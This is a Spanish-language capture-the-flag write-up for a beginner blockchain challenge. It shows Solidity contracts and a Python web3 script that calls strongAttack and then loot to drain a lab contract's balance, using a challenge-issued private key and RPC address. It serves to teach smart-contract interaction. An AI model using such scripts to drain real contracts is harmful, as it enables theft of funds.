Código fuente#
Creature.sol#
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
Setup.sol#
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Reto#
El reto nos dan la siguiente información:
- La dirección de la wallet
- La clave privada
- La dirección del RCP
- La dirección del contrato
Con esto podemos llamar funciones de forma legitima, en el archivo setup podemos observar que para que aparezca el estado solve toca tener un balance de 0, el cual podemos conseguir quitando todos los puntos de vida a la criatura, ya que cuando esto pasa y llamamos a la función loot ajusta el balance de la cuenta con los puntos de vida de la criatura.
El objetivo del reto es enseñarnos lo básico de blockchain y hacer una petición correcta a esta función para poder obtener la flag en la pagina web http://IP:PORT/flag
Solución#
Para este caso vamos a usar web3 con python para poder hacer esto tenemos que primero tener una especie de plantilla para que web3 entienda como están hechas las funciones y como llamarlas de forma correcta.
Para poder hacer esto pueden revisar la pagina [[Blockchain]] en la sección de Generar Application Binary Interface
Para poder realizar la petición de la manera correcta necesitamos hacer lo siguiente:
python3 -m venv venv
source venv/bin/activate
pip install web3
Y ejecutar el siguiente script:
from web3 import Web3, HTTPProvider
RPC_URL="http://154.57.164.65:31715/rpc"
PRIVATE_KEY="0x4fafe323d38a6dd98bc277ec3ca1af610044b37f21fe3cf7abebb00f7f74d615"
CONTRACT_ADDRESS = "0x8ad58A1399402Ffa57fFd3bC6553343263A761d0"
MI_DIRECCION_WALLET = "0xcb563AbCde67c08FC844eB161Aae4f99c6e07Dc0"
if not RPC_URL:
raise ValueError("RPC_URL not found in .env file.")
try:
# Initialize Web3.py with an HTTP provider
w3 = Web3(HTTPProvider(RPC_URL))
# Test the connection to the Ethereum node
if w3.is_connected():
print(f"Successfully connected at {RPC_URL}")
else:
print(f"Failed to connect at {RPC_URL}")
exit()
except Exception as e:
print(f"An error occurred during connection: {e}")
exit()
CONTRACT_ABI = '''
[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "aggro",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lifePoints",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "loot",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "punch",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_damage",
"type": "uint256"
}
],
"name": "strongAttack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
'''
try:
# Create a contract object: This tells web3.py how to interact with your deployed contract
contract = w3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)
print(f"Contract loaded successfully at address: {CONTRACT_ADDRESS}")
estimateGas = contract.functions.strongAttack(20).estimate_gas({'from': MI_DIRECCION_WALLET})
strongAttack = contract.functions.strongAttack(20).build_transaction({'from': MI_DIRECCION_WALLET,
'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET),
'gas': int(estimateGas * 1.1),
})
strongAttackSing = w3.eth.account.sign_transaction(strongAttack, private_key=PRIVATE_KEY)
strongAttackTxHash = w3.eth.send_raw_transaction(strongAttackSing.raw_transaction)
strongAttackReceipt = w3.eth.wait_for_transaction_receipt(strongAttackTxHash)
print(f"\nResult of strongAttack: {strongAttackReceipt}")
loot = contract.functions.loot().build_transaction({'from': MI_DIRECCION_WALLET, 'nonce': w3.eth.get_transaction_count(MI_DIRECCION_WALLET)})
lootSing = w3.eth.account.sign_transaction(loot, private_key=PRIVATE_KEY)
lootTxHash = w3.eth.send_raw_transaction(lootSing.raw_transaction)
lootReceipt = w3.eth.wait_for_transaction_receipt(lootTxHash)
print(f"\nResult of loot: {lootReceipt}")
except Exception as e:
print(f"Error interacting with contract: {e}")
Referencias#
- https://dev.to/divine_igbinoba_fb6de7207/part-1-your-python-gateway-to-blockchain-getting-started-with-web3py-3aok
- https://dev.to/divine_igbinoba_fb6de7207/part-2-reading-smart-contract-data-with-web3py-your-first-contract-interaction-no-co7
- https://dev.to/divine_igbinoba_fb6de7207/part-3-sending-your-first-blockchain-transaction-with-web3py-from-reading-to-writing-387j
